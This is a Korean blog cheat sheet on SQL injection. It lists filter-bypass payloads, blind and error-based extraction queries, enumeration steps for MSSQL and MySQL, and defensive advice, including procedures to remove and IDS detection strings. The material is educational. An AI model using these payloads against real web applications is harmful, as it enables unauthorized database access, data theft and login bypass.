본문 바로가기
IT Tech/Application

CheatSheet : SQL Injection

by _><- 2015. 11. 10.
반응형

CheatSheet :

 - MySQL SQL Injection

 - Oracle SQL Injection

 - MSSQL SQL Injection

 - DB2 SQL Injection

 

 

1. 정의

- 파라미터를 입력받아 동적으로 SQL Query를 만드는 웹 페이지에서 Query를 재구성하여 데이터베이스 정보를 조작하는 해킹 기법

 

 

2. 특징

- 데이터베이스를 공격한다.

- 데이버베이스 자체에서 SQL Injection을 방아하는 것이 어렵고 비효율적이기 때문에 데이터베이스에 가해지는 공격은 서버사이드에서 방어해야 한다.

 

 

3. 종류

- Blind SQL injection

- Error based SQL Injection

 

 

4. 우회기법(SQL Injection Filter Bypass)

가. 백슬래시가 추가되는 경우

[1' or 1=1#] => [\' or 1=1#]

 
- 멀티바이트를 사용하는 언어셋 환경에서는 백슬래시 앞에 %a1 ~ %fe 의 값이 들어오면 %a1\ 가 한개의 문자처럼 취급되면서 백슬래시를 먹어버린다
[1%a1' or 1=1#] => [1%a1\' or 1=1#] => [1?'or 1=1#]

나. 공백문자를 필터링하는 경우

공백문자를 필터링할 경우에는 %09, %0a, %0b, %0c, %0d, %a0, /**/ 를 사용해서 공백문자를 대체

 

- ()를 사용

select * from table 라는 쿼리와 select(*)from(table) 이라는 쿼리가 동일하다는 점을 사용

 

다. #, -- 등의 주석이 필터링 되었을 경우

 ;%00, /* 를 대신 사용할수도 있다

 

라. 싱글쿼터가 막혀서 문자열을 집어넣을 수 없을때

- 0x, 0b를 사용해서 2진법, 16 진법으로 치환함으로써 대신할 수 있으며

환경에 따라서 x, b 만 사용해도 된다.

select x'61' = 'a'

 

- 아래처럼 0x, 0b 대신 36 진법을 사용해도 된다.
select conv(10,10,36)='A'

 

- 가젯에서 추출하는 방법

select substr(monthname(from_unixtime(1)),2,1)='a' // monthname(from_unixtime(1)) = 'January'

 

마. 숫자를 사용할 수 없는 경우

 auto type cast 를 사용해서 우회한다.

false = 0
true = 1
true+true = 2
floor(version()) = 5

 

 

5. Blind SQL Injection

SQL Injection 결과에 따라 화면이 달라지거나 리턴결과가 달라지는 경우

 

가. 콤마가 필터링 된 경우

select substr('asdf' from 1 for 1)='a' 

 

나. substr이 필터링된 경우는

 - substring 함수 사용

 - like 쿼리의 와일드카드를 사용

select id from member where id like 'a%'
select id from member where id like 'b%'
select id from member where id like 'c%'

 

한글자씩 추가

select id from member where id like 'ca%'
select id from member where id like 'cb%'
select id from member where id like 'cc%'

 

다. like가 필터링된 경우

- left와 right 함수를 사용

select right(left('asd',1),1) = 'a'
select right(left('asd',2),1) = 's'
select right(left('asd',3),1) = 'd'

 

select mid('asd',1,1) = 'a'
select lpad('asd',1,space(1)) = 'a'
select rpad('asd',1,space(1)) = 'a'
select reverse(right(reverse('asd'),1)) = 'a'
select insert(insert('asd',1,0,space(0)),2,222,space(0)) = 'a'

 

 

6. Error Based SQL Injection

에러메세지를 기반으로 결과값을 이용하여 정보 추출

MSSQL 환경에서 수월 : 서로 다른 데이터형의 값을 비교하게되면 앞의 값을 뒤의 데이터형과 비교할 수 없다고 에러메세지를 한번에 보여주기 때문

MySQL은 auto type cast를 해주기 때문에 서로 다른 데이터형의 값이와도 문제가 없음

 

select * from (select name_const(version(),1),name_const(version(),1))a

select * from table where 1=1 and ExtractValue(1,concat(0x01,version()))

select * from table where 1=1 and UpdateXML(1,concat(0x01,version()),1)

select * from table where (@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)

 

 

7. SQL Injection 공격절차

가. 공격대상의 DB Name

- 'and db_name() > 1--

. db_name()은 MSSQL에서 DB 이름을 문자열로 반화하는 함수

 

 

 

나. Table Name

- information_schema.tables 라는 시스템 뷰를 이용해 Table명을 알아낸다.

- UNION 구문의 형식은 선행 Table의 column 개수가 동일해야 한다.

 

다. Column Name

- information_schema.column을 이용하여 table_name, column명을 알아낸다.

 

 

8. SQL Injectino 주입 지점

가. 사용자 입력값

 

나. HTTP Header에 대한 SQL Injectino

- cookie에 대한 SQL Injection

 

- 리퍼러(referer)를 통한 SQL Injection

 ※ 리퍼러 : 페이지 요청 직전의 접속 정보를 담고 있기 때문에 마케팅이나 웹 사이트 분석을 위해 많이 활용

 

 

9. SQL Injection으로 인해 발생되는 피해

- 로그인 인증우회

- 시스템 명령어 실행

- 개인정보와 같은 DB 자료유출

 

 

10. SQL Injection 대책

가. DB단위

- MSSQL에서는 사용하지 않는 Stored Procedure의 삭제를 권한다.

   xp_cmdshell 
   xp_dirtree 
   xp_regdeletekey 
   xp_regenumvalues 
   xp_regread 
   xp_regwrite 
   sp_makewebtask 
   sp_adduser ...등등

   

 

 

나. 소스단위

- 특수문자 필터링, 인자의 길이 체크, and 등의 키워드 치환 또는 제거

 

다. 네트워크 차원의 침입탐지

- IS_SRVROLEMEMBER , IS_MEMBER('db_owner') , db_name()  ,%5Bsysobjects%5D 와 같은 문자열을 웹 Request 문자열에서  탐지 하도록 IDS에 룰셋을 설정한 이후 해당 패턴이 감지 될 시 차단을 수행


 

 

※ SQL Injection 공부방법

가. 게시판을 만들어, 글을 작성하고, 수정하고, 삭제하는 기능이 있는 게시판으로 다양한 쿼리를 공부하고 숙련

 

 

참고 : http://hackerschool.org/Sub_Html/HS_Posting/?uid=42

        http://boho.or.kr/upload/file/EpF199.pdf

        http://blog.naver.com/p4ssion/40015866029

반응형